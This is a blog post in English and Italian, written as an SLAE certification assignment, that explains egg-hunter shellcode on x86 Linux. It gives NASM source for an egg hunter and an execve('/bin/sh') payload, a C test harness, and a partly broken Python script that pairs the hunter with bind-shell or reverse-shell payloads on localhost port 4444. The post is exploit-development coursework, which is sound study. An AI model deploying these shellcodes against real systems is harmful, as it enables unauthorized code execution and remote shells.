Paolo Perego
Paolo Perego Specialista di sicurezza applicativa e certificato OSCE e OSCP, amo spaccare e ricostruire il codice in maniera sicura. Sono cintura nera di taekwon-do, marito e papà. Ranger Caotico Neutrale, scrivo su @codiceinsicuro.

Assignment #3: An Egg Hunter journey

2207 parole - Lo leggerai in 12 minuti

The third assignment for SLAE certification is a study for an egg hunter shellcode. Within this study a working proof of concept code it must be written and it must support different payloads.

The assignment was written on an Ubuntu Linux 18.04, with a Linux kernel 4.15 version.

The theory behind the egg hunter

The masterpiece about egg hunting theory is the Safely Searching Process Virtual Address Space paper.

The basic idea is simple: you don’t have enough space where to store your evil payload, so you have to brake it into two different stages:

  • the first stage is called the egg hunter and its purpose is to search the memory for a specific identifier, the egg, and when it found it, to pass the control to the second stage payload;

  • the second stage that it starts with the egg repeated two times, as a marker, and then it contains the evil code to be executed.

I choose to implement the hunter based on the access(2) system call in its revised version, mainly because I don’t want to rely on an executable EGG. True to be told, 0xdeadbeef is my chosen default key.

The key idea is to scan the whole memory, using the access(2) system call that it has the real purpose to check and see if the current process has the specific access rights to a given file on disk.

The proof of concept

First of all, I’ll make very few modifications to our execve(“/bin/sh”) shellcode. In fact, I’ll add only the EGG marker repeated twice.

; Filename: 	execve.nasm
; Author:	Paolo Perego <>  
; Website:
; Blog post:
; Twitter:   	@thesp0nge
; SLAE-ID:    	1217
; Purpose:	This is the default payload for the egg hunter demo. It will
; 		      execute "/bin/sh" using execve() system call.

global _start			

dd 0xdeadbeef
dd 0xdeadbeef

section .text

	xor eax, eax		; init EAX to 0
	push eax		    ; pushing 0 to the stack to be used as NULL pointer
	; execve is defined as #define __NR_execve 11 in 
	; /usr/include/i386-linux-gnu/asm/unistd_32.h:
	; system call prototype is: 
  ; int execve(const char *filename, char *const argv[], char *const envp[]);

	push 0x68732f2f		; pushing //bin/sh into the stack
	push 0x6e69622f		; the init double / is for alignment purpose

	mov ebx, esp		; pointer to *filename
	push eax		    ; pushing in the stack a pointer to NULL
	mov edx, esp		; I don't care about environment here
	push eax
	mov ecx, esp		; I don't even care about passing arguments to
				          ; my /bin/sh

	mov al, 0xb		; execve = 11
	int 0x80

After having compiled the assembler source file with script shell, I used script to dump the shellcode.


This will be our default payload to be executed when the EGG it has been found in memory. Now, let’s have a look to our egg hunter implementation.

; Filename: 	egghunter.nasm
; Author:	Paolo Perego <>  
; Website:
; Blog post:
; Twitter:   	@thesp0nge
; SLAE-ID:    	1217
; Purpose:	This is the first stage of our payload. An egg-hunter shellcode
;		looping through memory and jumping on the payload after the
;		second egg found in memory.

global _start			

section .text


	xor ecx, ecx
	mul ecx

	or dx, 0xfff

	; EDX is 4096 here, that is the value of PAGE_SIZE constant
	inc edx

	; EBX is our memory cursor
	lea ebx, [edx+0x4]

	xor eax, eax

	; access is defined as #define __NR_acces 33 in 
	; /usr/include/i386-linux-gnu/asm/unistd_32.h:
	; system call prototype is: 
	; int access(const char *pathname, int mode);

	mov al, 0x21
	int 0x80

	cmp al, 0xf2		; 0xf2 is the opcode for EFAULT. If my register
				; has this value, a signal for a invalid page
				; access it has been received
	jz next_page

	mov eax, key
	mov edi, edx

	jnz next_addr
	jnz next_addr

	; At this point we are at the very beginning of our shellcode, after
	; the second key. We can jump to it
	jmp edi

section .data
	key equ 0xdeadbeef

The basic idea here is to traverse memory using EBX register as pointer and access() system call to check if we’re pointing a memory region we’re allowed to read. In this case we are in one of our process memory page and than our second stage can be found there.

Dumping the shellcode I obtained:


I added this shellcode into the same C program used in the first assignment to test our shellcode and I executed it in order to check the payload is correct.


unsigned char egg_hunter[] = \

unsigned char code[] = \

int main(int argc, char **argv)
	printf("Shellcode Length:  %d\n", strlen(code));
	printf("Egghunter Length:  %d\n", strlen(egg_hunter));
	int (*ret)() = (int(*)())egg_hunter;

The configurator

The most interesting part here is to give the shellcode flexibility for the second stage payload to be executed. The basic idea is to have three different payloads:

  • execve(“/bin/sh”)
  • TCP Bind shell shellcode on port 4444
  • TCP Reverse shell shellcode on localhost port 4444

Here it is the python script I used to create different C programs containing different payloads. Please note that I added also a function to change the EGG value.

#!/usr/bin/env python

import sys, getopt, binascii, fileinput, re;

def help():
    print sys.argv[0] + " [options]"
    print "Valid options:"
    print "\t-h, --help: show this help"
    print "\t-s, --shell: use /bin/sh shellcode"
    print "\t-b, --bind-shell: use a TCP bind shell shellcode on port 4444"
    print "\t-r, --reverse-shell: use a TCP reverse shell shellcode on on port 4444"
    print "\t-e, --egg=the_egg_string: use the given string as egg in memory"
    return 0

def main(argv):

        opts, args=getopt.getopt(argv, "hsbre:", ["help", "shell", "bind-shell", "reverse-shell", "egg="])
    except getopt.GetoptError:

    egg = "\\xef\\xbe\\xad\\xde"

    for opt, arg in opts:
        if opt in ('-h', '--help'):
        elif opt in ('-s', '--shell'):
        elif opt in ('-b', '--bind-shell'):
        elif opt in ('-r', '--reverse-shell'):
        elif opt in ('-e', '--egg'):


    sys.stderr.write("Egg Hunter: " + egg_hunter+"\n")
    sys.stderr.write("Shellcode:  " +shellcode+"\n")

    with open('skeleton.c', 'r') as file :
    filedata = filedata.replace("EGG_HUNTER", egg_hunter)
    filedata = filedata.replace("CODE", shellcode)

    print filedata

if __name__ == "__main__":

Code in action

In this video, you can see the very default payload executing /bin/sh after the EGG being found in memory.

Here, the payload is a TCP bind shellcode on port 4444 on localhost, developed for the first SLAE assignment

This video shows the payload for a TCP reverse shell shellcode on localhost on port 4444 developed for the second SLAE assignment

And in the last video, I show the default payload but with a different EGG.

SLAE Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-1217

(Updated: )

Vuoi aiutarmi a portare avanti il progetto Codice Insicuro con una donazione? Fantastico, allora non ti basta che premere il pulsante qui sotto.

Supporta il progetto

comments powered by Disqus
Codice Insicuro, blog di Cyber Security, sviluppo sicuro, code review e altro.   Non perdere neanche un post, iscriviti ora alla mailing list